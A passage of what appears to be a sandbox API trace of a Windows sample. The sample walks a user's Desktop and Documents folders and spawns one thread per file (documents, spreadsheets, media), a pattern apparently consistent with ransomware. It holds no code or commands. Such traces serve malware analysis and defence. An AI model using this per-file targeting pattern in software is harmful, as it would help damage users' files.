dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3431728, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x74c [0067.249] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec66d5b0, ftCreationTime.dwHighDateTime=0x1d4cbf7, ftLastAccessTime.dwLowDateTime=0x19fe71f0, ftLastAccessTime.dwHighDateTime=0x1d4cec2, ftLastWriteTime.dwLowDateTime=0x19fe71f0, ftLastWriteTime.dwHighDateTime=0x1d4cec2, nFileSizeHigh=0x0, nFileSizeLow=0x6c99, dwReserved0=0x0, dwReserved1=0x0, cFileName="s51-BA5kuv_0NwFH.wav", cAlternateFileName="S51-BA~1.WAV")) returned 1 [0067.249] wcscmp (_String1="s51-BA5kuv_0NwFH.wav", _String2=".") returned 1 [0067.249] wcscmp (_String1="s51-BA5kuv_0NwFH.wav", _String2="..") returned 1 [0067.249] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5a) returned 0x3427410 [0067.249] wcscpy (in: _Dest=0x3427410, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0067.249] wcscat (in: _Dest=0x3427410, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0067.249] wcscat (in: _Dest=0x3427410, _Source="s51-BA5kuv_0NwFH.wav" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\s51-BA5kuv_0NwFH.wav") returned="C:\\Users\\FD1HVy\\Desktop\\s51-BA5kuv_0NwFH.wav" [0067.249] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3427410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x748 [0067.250] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5557d4a0, ftCreationTime.dwHighDateTime=0x1d4ca79, ftLastAccessTime.dwLowDateTime=0x5f0f9fc0, ftLastAccessTime.dwHighDateTime=0x1d4c8f1, ftLastWriteTime.dwLowDateTime=0x5f0f9fc0, ftLastWriteTime.dwHighDateTime=0x1d4c8f1, nFileSizeHigh=0x0, nFileSizeLow=0xcc0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SZ TN3fNluiRHZIck.odp", cAlternateFileName="SZTN3F~1.ODP")) returned 1 [0067.250] wcscmp (_String1="SZ TN3fNluiRHZIck.odp", _String2=".") returned 1 [0067.250] wcscmp (_String1="SZ TN3fNluiRHZIck.odp", _String2="..") returned 1 [0067.250] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3427478 [0067.250] wcscpy (in: _Dest=0x3427478, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0067.250] wcscat (in: _Dest=0x3427478, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0067.250] wcscat (in: _Dest=0x3427478, _Source="SZ TN3fNluiRHZIck.odp" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\SZ TN3fNluiRHZIck.odp") returned="C:\\Users\\FD1HVy\\Desktop\\SZ TN3fNluiRHZIck.odp" [0067.250] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3427478, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x744 [0067.251] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39d87200, ftCreationTime.dwHighDateTime=0x1d4c77e, ftLastAccessTime.dwLowDateTime=0x349b5490, ftLastAccessTime.dwHighDateTime=0x1d4ce1f, ftLastWriteTime.dwLowDateTime=0x349b5490, ftLastWriteTime.dwHighDateTime=0x1d4ce1f, nFileSizeHigh=0x0, nFileSizeLow=0x18e0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="tqgQSJk.mkv", cAlternateFileName="")) returned 1 [0067.251] wcscmp (_String1="tqgQSJk.mkv", _String2=".") returned 1 [0067.251] wcscmp (_String1="tqgQSJk.mkv", _String2="..") returned 1 [0067.251] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x48) returned 0x34813e8 [0067.251] wcscpy (in: _Dest=0x34813e8, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0067.251] wcscat (in: _Dest=0x34813e8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0067.251] wcscat (in: _Dest=0x34813e8, _Source="tqgQSJk.mkv" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\tqgQSJk.mkv") returned="C:\\Users\\FD1HVy\\Desktop\\tqgQSJk.mkv" [0067.251] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34813e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x740 [0067.252] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac677c90, ftCreationTime.dwHighDateTime=0x1d4ca98, ftLastAccessTime.dwLowDateTime=0xaaf30990, ftLastAccessTime.dwHighDateTime=0x1d4d49f, ftLastWriteTime.dwLowDateTime=0xaaf30990, ftLastWriteTime.dwHighDateTime=0x1d4d49f, nFileSizeHigh=0x0, nFileSizeLow=0x5c7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="uX5P.png", cAlternateFileName="")) returned 1 [0067.252] wcscmp (_String1="uX5P.png", _String2=".") returned 1 [0067.252] wcscmp (_String1="uX5P.png", _String2="..") returned 1 [0067.252] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x42) returned 0x3481708 [0067.252] wcscpy (in: _Dest=0x3481708, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0067.252] wcscat (in: _Dest=0x3481708, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0067.252] wcscat (in: _Dest=0x3481708, _Source="uX5P.png" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\uX5P.png") returned="C:\\Users\\FD1HVy\\Desktop\\uX5P.png" [0067.252] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3481708, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x73c [0067.253] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20914230, ftCreationTime.dwHighDateTime=0x1d4d544, ftLastAccessTime.dwLowDateTime=0x6e904930, ftLastAccessTime.dwHighDateTime=0x1d4ccdf, ftLastWriteTime.dwLowDateTime=0x6e904930, ftLastWriteTime.dwHighDateTime=0x1d4ccdf, nFileSizeHigh=0x0, nFileSizeLow=0x130f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="WgtQk0Z53i6.m4a", cAlternateFileName="WGTQK0~1.M4A")) returned 1 [0067.253] wcscmp (_String1="WgtQk0Z53i6.m4a", _String2=".") returned 1 [0067.253] wcscmp (_String1="WgtQk0Z53i6.m4a", _String2="..") returned 1 [0067.253] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x50) returned 0x3431410 [0067.253] wcscpy (in: _Dest=0x3431410, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0067.253] wcscat (in: _Dest=0x3431410, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0067.253] wcscat (in: _Dest=0x3431410, _Source="WgtQk0Z53i6.m4a" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\WgtQk0Z53i6.m4a") returned="C:\\Users\\FD1HVy\\Desktop\\WgtQk0Z53i6.m4a" [0067.253] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3431410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x738 [0067.254] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76364b40, ftCreationTime.dwHighDateTime=0x1d4d0fd, ftLastAccessTime.dwLowDateTime=0x9ff211b0, ftLastAccessTime.dwHighDateTime=0x1d4d36b, ftLastWriteTime.dwLowDateTime=0x9ff211b0, ftLastWriteTime.dwHighDateTime=0x1d4d36b, nFileSizeHigh=0x0, nFileSizeLow=0xbb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="x1HTUM.wav", cAlternateFileName="")) returned 1 [0067.254] wcscmp (_String1="x1HTUM.wav", _String2=".") returned 1 [0067.254] wcscmp (_String1="x1HTUM.wav", _String2="..") returned 1 [0067.254] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x46) returned 0x3481668 [0067.254] wcscpy (in: _Dest=0x3481668, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0067.254] wcscat (in: _Dest=0x3481668, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0067.254] wcscat (in: _Dest=0x3481668, _Source="x1HTUM.wav" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\x1HTUM.wav") returned="C:\\Users\\FD1HVy\\Desktop\\x1HTUM.wav" [0067.254] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3481668, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x734 [0067.255] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa07081a0, ftCreationTime.dwHighDateTime=0x1d4c8c4, ftLastAccessTime.dwLowDateTime=0x43fc28a0, ftLastAccessTime.dwHighDateTime=0x1d4d05a, ftLastWriteTime.dwLowDateTime=0x43fc28a0, ftLastWriteTime.dwHighDateTime=0x1d4d05a, nFileSizeHigh=0x0, nFileSizeLow=0xf291, dwReserved0=0x0, dwReserved1=0x0, cFileName="Yz9r_tGr_l-kxrL.avi", cAlternateFileName="YZ9R_T~1.AVI")) returned 1 [0067.255] wcscmp (_String1="Yz9r_tGr_l-kxrL.avi", _String2=".") returned 1 [0067.255] wcscmp (_String1="Yz9r_tGr_l-kxrL.avi", _String2="..") returned 1 [0067.255] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3482038 [0067.255] wcscpy (in: _Dest=0x3482038, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0067.255] wcscat (in: _Dest=0x3482038, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0067.255] wcscat (in: _Dest=0x3482038, _Source="Yz9r_tGr_l-kxrL.avi" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\Yz9r_tGr_l-kxrL.avi") returned="C:\\Users\\FD1HVy\\Desktop\\Yz9r_tGr_l-kxrL.avi" [0067.255] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3482038, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x730 [0067.255] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85d7c240, ftCreationTime.dwHighDateTime=0x1d4cc1b, ftLastAccessTime.dwLowDateTime=0xa6270890, ftLastAccessTime.dwHighDateTime=0x1d4c828, ftLastWriteTime.dwLowDateTime=0xa6270890, ftLastWriteTime.dwHighDateTime=0x1d4c828, nFileSizeHigh=0x0, nFileSizeLow=0x1241d, dwReserved0=0x0, dwReserved1=0x0, cFileName="zo7BErW.xlsx", cAlternateFileName="ZO7BER~1.XLS")) returned 1 [0067.255] wcscmp (_String1="zo7BErW.xlsx", _String2=".") returned 1 [0067.255] wcscmp (_String1="zo7BErW.xlsx", _String2="..") returned 1 [0067.256] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4a) returned 0x34315c8 [0067.256] wcscpy (in: _Dest=0x34315c8, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0067.256] wcscat (in: _Dest=0x34315c8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0067.256] wcscat (in: _Dest=0x34315c8, _Source="zo7BErW.xlsx" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\zo7BErW.xlsx") returned="C:\\Users\\FD1HVy\\Desktop\\zo7BErW.xlsx" [0067.256] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x34315c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x72c [0067.256] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc42c1e0, ftCreationTime.dwHighDateTime=0x1d4cf99, ftLastAccessTime.dwLowDateTime=0x6045b010, ftLastAccessTime.dwHighDateTime=0x1d4d3b8, ftLastWriteTime.dwLowDateTime=0x6045b010, ftLastWriteTime.dwHighDateTime=0x1d4d3b8, nFileSizeHigh=0x0, nFileSizeLow=0x16e73, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZYkmTOifpz9q1Yc2Qg.jpg", cAlternateFileName="ZYKMTO~1.JPG")) returned 1 [0067.256] wcscmp (_String1="ZYkmTOifpz9q1Yc2Qg.jpg", _String2=".") returned 1 [0067.256] wcscmp (_String1="ZYkmTOifpz9q1Yc2Qg.jpg", _String2="..") returned 1 [0067.256] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5e) returned 0x3426df8 [0067.256] wcscpy (in: _Dest=0x3426df8, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0067.256] wcscat (in: _Dest=0x3426df8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0067.256] wcscat (in: _Dest=0x3426df8, _Source="ZYkmTOifpz9q1Yc2Qg.jpg" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ZYkmTOifpz9q1Yc2Qg.jpg") returned="C:\\Users\\FD1HVy\\Desktop\\ZYkmTOifpz9q1Yc2Qg.jpg" [0067.257] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3426df8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x728 [0067.257] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb24eb80, ftCreationTime.dwHighDateTime=0x1d4c5aa, ftLastAccessTime.dwLowDateTime=0x9ecdc540, ftLastAccessTime.dwHighDateTime=0x1d4ca10, ftLastWriteTime.dwLowDateTime=0x9ecdc540, ftLastWriteTime.dwHighDateTime=0x1d4ca10, nFileSizeHigh=0x0, nFileSizeLow=0x95ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="_iMXnkHf3b.flv", cAlternateFileName="_IMXNK~1.FLV")) returned 1 [0067.257] wcscmp (_String1="_iMXnkHf3b.flv", _String2=".") returned 1 [0067.257] wcscmp (_String1="_iMXnkHf3b.flv", _String2="..") returned 1 [0067.257] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4e) returned 0x3431570 [0067.257] wcscpy (in: _Dest=0x3431570, _Source="C:\\Users\\FD1HVy\\Desktop" | out: _Dest="C:\\Users\\FD1HVy\\Desktop") returned="C:\\Users\\FD1HVy\\Desktop" [0067.257] wcscat (in: _Dest=0x3431570, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0067.257] wcscat (in: _Dest=0x3431570, _Source="_iMXnkHf3b.flv" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\_iMXnkHf3b.flv") returned="C:\\Users\\FD1HVy\\Desktop\\_iMXnkHf3b.flv" [0067.257] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3431570, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x470 [0070.611] FindNextFileW (in: hFindFile=0x34340e8, lpFindFileData=0x3429798 | out: lpFindFileData=0x3429798*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb24eb80, ftCreationTime.dwHighDateTime=0x1d4c5aa, ftLastAccessTime.dwLowDateTime=0x9ecdc540, ftLastAccessTime.dwHighDateTime=0x1d4ca10, ftLastWriteTime.dwLowDateTime=0x9ecdc540, ftLastWriteTime.dwHighDateTime=0x1d4ca10, nFileSizeHigh=0x0, nFileSizeLow=0x95ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="_iMXnkHf3b.flv", cAlternateFileName="_IMXNK~1.FLV")) returned 0 [0070.611] FindClose (in: hFindFile=0x34340e8 | out: hFindFile=0x34340e8) returned 1 [0070.993] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3429798) returned 1 [0070.993] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3433c28) returned 1 [0070.993] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e9868) returned 1 [0070.993] RtlExitUserThread (Status=0x0) Thread: id = 270 os_tid = 0x12b0 [0063.532] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x38) returned 0x34342e8 [0063.532] wcscpy (in: _Dest=0x34342e8, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0063.532] wcscat (in: _Dest=0x34342e8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0063.532] wcscat (in: _Dest=0x34342e8, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\*") returned="C:\\Users\\FD1HVy\\Documents\\*" [0063.532] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342b478 [0063.532] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\*", lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x5da1d6d0, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x5da1d6d0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434428 [0063.532] wcscmp (_String1=".", _String2=".") returned 0 [0063.532] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x5da1d6d0, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x5da1d6d0, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.532] wcscmp (_String1="..", _String2=".") returned 1 [0063.532] wcscmp (_String1="..", _String2="..") returned 0 [0063.532] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6ccfd90, ftCreationTime.dwHighDateTime=0x1d4df14, ftLastAccessTime.dwLowDateTime=0xb882fce0, ftLastAccessTime.dwHighDateTime=0x1d54093, ftLastWriteTime.dwLowDateTime=0xb882fce0, ftLastWriteTime.dwHighDateTime=0x1d54093, nFileSizeHigh=0x0, nFileSizeLow=0x25d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="3Qrm1-sx4fRMSKjXkOO.docx", cAlternateFileName="3QRM1-~1.DOC")) returned 1 [0063.533] wcscmp (_String1="3Qrm1-sx4fRMSKjXkOO.docx", _String2=".") returned 1 [0063.533] wcscmp (_String1="3Qrm1-sx4fRMSKjXkOO.docx", _String2="..") returned 1 [0063.533] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x66) returned 0x347da80 [0063.533] wcscpy (in: _Dest=0x347da80, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0063.533] wcscat (in: _Dest=0x347da80, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0063.533] wcscat (in: _Dest=0x347da80, _Source="3Qrm1-sx4fRMSKjXkOO.docx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\3Qrm1-sx4fRMSKjXkOO.docx") returned="C:\\Users\\FD1HVy\\Documents\\3Qrm1-sx4fRMSKjXkOO.docx" [0067.196] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347da80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x378 [0067.197] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8946fea0, ftCreationTime.dwHighDateTime=0x1d56027, ftLastAccessTime.dwLowDateTime=0x51202b0, ftLastAccessTime.dwHighDateTime=0x1d504f6, ftLastWriteTime.dwLowDateTime=0x51202b0, ftLastWriteTime.dwHighDateTime=0x1d504f6, nFileSizeHigh=0x0, nFileSizeLow=0x6dc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="90PGS.xlsx", cAlternateFileName="90PGS~1.XLS")) returned 1 [0067.197] wcscmp (_String1="90PGS.xlsx", _String2=".") returned 1 [0067.197] wcscmp (_String1="90PGS.xlsx", _String2="..") returned 1 [0067.197] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4a) returned 0x3430d30 [0067.197] wcscpy (in: _Dest=0x3430d30, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0067.197] wcscat (in: _Dest=0x3430d30, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0067.197] wcscat (in: _Dest=0x3430d30, _Source="90PGS.xlsx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\90PGS.xlsx") returned="C:\\Users\\FD1HVy\\Documents\\90PGS.xlsx" [0067.197] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3430d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x424 [0067.198] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x208c6730, ftCreationTime.dwHighDateTime=0x1d542d4, ftLastAccessTime.dwLowDateTime=0x46822690, ftLastAccessTime.dwHighDateTime=0x1d544e2, ftLastWriteTime.dwLowDateTime=0x46822690, ftLastWriteTime.dwHighDateTime=0x1d544e2, nFileSizeHigh=0x0, nFileSizeLow=0x7b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="9nmdoCBZbHWyQQ.pptx", cAlternateFileName="9NMDOC~1.PPT")) returned 1 [0067.198] wcscmp (_String1="9nmdoCBZbHWyQQ.pptx", _String2=".") returned 1 [0067.198] wcscmp (_String1="9nmdoCBZbHWyQQ.pptx", _String2="..") returned 1 [0067.198] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5c) returned 0x3426ec8 [0067.198] wcscpy (in: _Dest=0x3426ec8, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0067.198] wcscat (in: _Dest=0x3426ec8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0067.198] wcscat (in: _Dest=0x3426ec8, _Source="9nmdoCBZbHWyQQ.pptx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\9nmdoCBZbHWyQQ.pptx") returned="C:\\Users\\FD1HVy\\Documents\\9nmdoCBZbHWyQQ.pptx" [0067.198] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3426ec8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x594 [0067.198] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x592c6460, ftCreationTime.dwHighDateTime=0x1d522ee, ftLastAccessTime.dwLowDateTime=0xe3ac8720, ftLastAccessTime.dwHighDateTime=0x1d5391c, ftLastWriteTime.dwLowDateTime=0xe3ac8720, ftLastWriteTime.dwHighDateTime=0x1d5391c, nFileSizeHigh=0x0, nFileSizeLow=0xcc01, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crz2qjg8m7WM.docx", cAlternateFileName="CRZ2QJ~1.DOC")) returned 1 [0067.198] wcscmp (_String1="Crz2qjg8m7WM.docx", _String2=".") returned 1 [0067.198] wcscmp (_String1="Crz2qjg8m7WM.docx", _String2="..") returned 1 [0067.199] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3481f78 [0067.199] wcscpy (in: _Dest=0x3481f78, _Source="C:\\Users\\FD1HVy\\Documents" | out: _Dest="C:\\Users\\FD1HVy\\Documents") returned="C:\\Users\\FD1HVy\\Documents" [0067.199] wcscat (in: _Dest=0x3481f78, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0067.199] wcscat (in: _Dest=0x3481f78, _Source="Crz2qjg8m7WM.docx" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\Crz2qjg8m7WM.docx") returned="C:\\Users\\FD1HVy\\Documents\\Crz2qjg8m7WM.docx" [0067.199] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3481f78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x324 [0067.199] FindNextFileW (in: hFindFile=0x3434428, lpFindFileData=0x342b478 | out: lpFindFileData=0x342b478*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3340555c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3396299d, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x9daec75b, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x55000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Database1.accdb", cAlternateFileName="DATABA~1.ACC")) returned 1 [0067.199] wcscmp (_String1="Database1.accdb", _String2=".") returned 1 [0067.199] wcscmp (_String1="Database1.accdb", _String2="..") returned 1 [0067.199] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x54) returned 0x3481fd8 [0067.199] wcscpy (in: _Dest=0x3481fd8, _Source="C:\\Users\\FD1HVy\\Documents" | out: 